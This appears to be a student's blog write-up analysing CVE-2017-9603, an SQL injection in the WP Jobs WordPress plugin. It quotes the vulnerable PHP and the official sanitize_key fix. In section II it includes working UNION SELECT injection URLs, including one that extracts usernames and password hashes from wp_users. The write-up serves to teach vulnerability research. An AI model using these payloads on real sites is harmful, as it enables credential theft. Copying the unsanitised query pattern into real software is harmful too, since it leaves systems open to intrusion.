I. CVE-2017-9603
WordPress Plugin WP Jobs < 1.5 - SQL Injection
II. Vulnerability Analysis
The problem occurs in wp-jobs\wpjobs_applications.php, lines 10 through 62:
<?php
$job_id = $_REQUEST['jobid']; // read jobid
$jb_args = array(
'posts_per_page' => -1,
'orderby' => 'post_date',
'order' => 'DESC',
'post_type' => 'job',
'post_status' => 'publish',
'suppress_filters' => true);
$jobs = get_posts($jb_args);
?>
<form autocomplete="off" name="form" id="form">
<?php _e('Filter by Job', 'wp-jobs'); ?> <select name="jumpMenu" id="jumpMenu" onchange="MM_jumpMenu('parent', this, 0)">
<option value="edit.php?post_type=job&page=WPJobsJobApps">All Applications</option>
<?php foreach ($jobs as $job_info) : setup_postdata($jobs); ?>
<option <?php
if ($job_info->ID == $job_id) {
echo 'selected="selected"';
}
?> value="edit.php?post_type=job&page=WPJobsJobApps&jobid=<?php echo $job_info->ID; ?>"><?php echo $job_info->post_title; ?></option>
<?php
endforeach;
wp_reset_postdata();
?>
</select>
</form>
<style>
.dctrprt tr th, .dctrprt tr td {
font-family:Arial, Helvetica, sans-serif;
font-size:13px;
}
</style>
<table class="widefat dctrprt">
<tr>
<th><strong><?php _e('S.No', 'wp-jobs'); ?></strong></th>
<th><strong><?php _e('Job Title', 'wp-jobs'); ?></strong></th>
<th><strong><?php _e('Full Name', 'wp-jobs'); ?></strong></th>
<th><strong><?php _e('Email', 'wp-jobs'); ?></strong></th>
<th><strong><?php _e('Phone Number', 'wp-jobs'); ?></strong></th>
<th><strong><?php _e('Download Resume', 'wp-jobs'); ?></strong></th>
</tr>
<?php
$tbl = $wpdb->prefix;
$qry = "Select * from " . $tbl . "app_user_info ";
if ($job_id <> "") {
$qry .= " where app_job_id = " . $job_id; // passed straight into the SQL query
}
$qry .= " Order by `app_id` Desc ";
$users = $wpdb->get_results($qry);
$i = 1;
foreach ($users as $user) {
?>
The cause is straightforward: after reading jobid from the request, the application performs no escaping or filtering. It only checks whether job_id is empty and then concatenates the value directly into the SQL statement, creating an SQL injection vulnerability. The following request demonstrates it:
http://localhost:80/cve/wp-admin/edit.php?post_type=job&page=WPJobsJobApps&jobid=11 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- admin

When the number of columns is six, the application returns a distinctive page.

This confirms that the query has six columns. A MySQL monitoring tool reveals the SQL statement being executed:

We can see that the statement we constructed is concatenated into the SQL query and executed. Next, try reading the database version:

The query succeeds. The final exploit can be constructed as follows:
http://localhost:80/cve/wp-admin/edit.php?post_type=job&page=WPJobsJobApps&jobid=11 UNION ALL SELECT NULL,CONCAT(0x3930736563,IFNULL(CAST(user_nicename AS CHAR),0x20),0x7430306c73,IFNULL(CAST(user_pass AS CHAR),0x20),0x70616e6461),NULL,NULL,NULL,NULL FROM wordpress.wp_users-- admin

III. Fix Here is the official fix:

In version 1.4:
<?php
$job_id = $_REQUEST['jobid'];
$jb_args = array(
'posts_per_page' => -1,
'orderby' => 'post_date',
'order' => 'DESC',
'post_type' => 'job',
'post_status' => 'publish',
'suppress_filters' => true);
$jobs = get_posts($jb_args);
?>
In version 1.5:
<?php
$job_id = isset($_REQUEST['jobid']) ? sanitize_key($_REQUEST['jobid']) : null;
$jb_args = array(
'posts_per_page' => -1,
'orderby' => 'post_date',
'order' => 'DESC',
'post_type' => 'job',
'post_status' => 'publish',
'suppress_filters' => true);
$jobs = get_posts($jb_args);
?>
The official patch applies WordPress's built-in sanitize_key function to jobid. It strips special characters and allows only letters, digits, hyphens, and underscores, thereby fixing the SQL injection vulnerability.
IV. Conclusion
The beginning of the semester was busy, and I was also working on a school project competition, so I had little time to study more interesting CVEs. I picked a numbered CVE from Exploit-DB almost at random. It turned out to be a routine injection vulnerability with little that was novel, and exploitation was limited because only administrators could access the WPJobsJobApps page. Still, it was a useful reminder that CVE research is approachable if you are willing to investigate.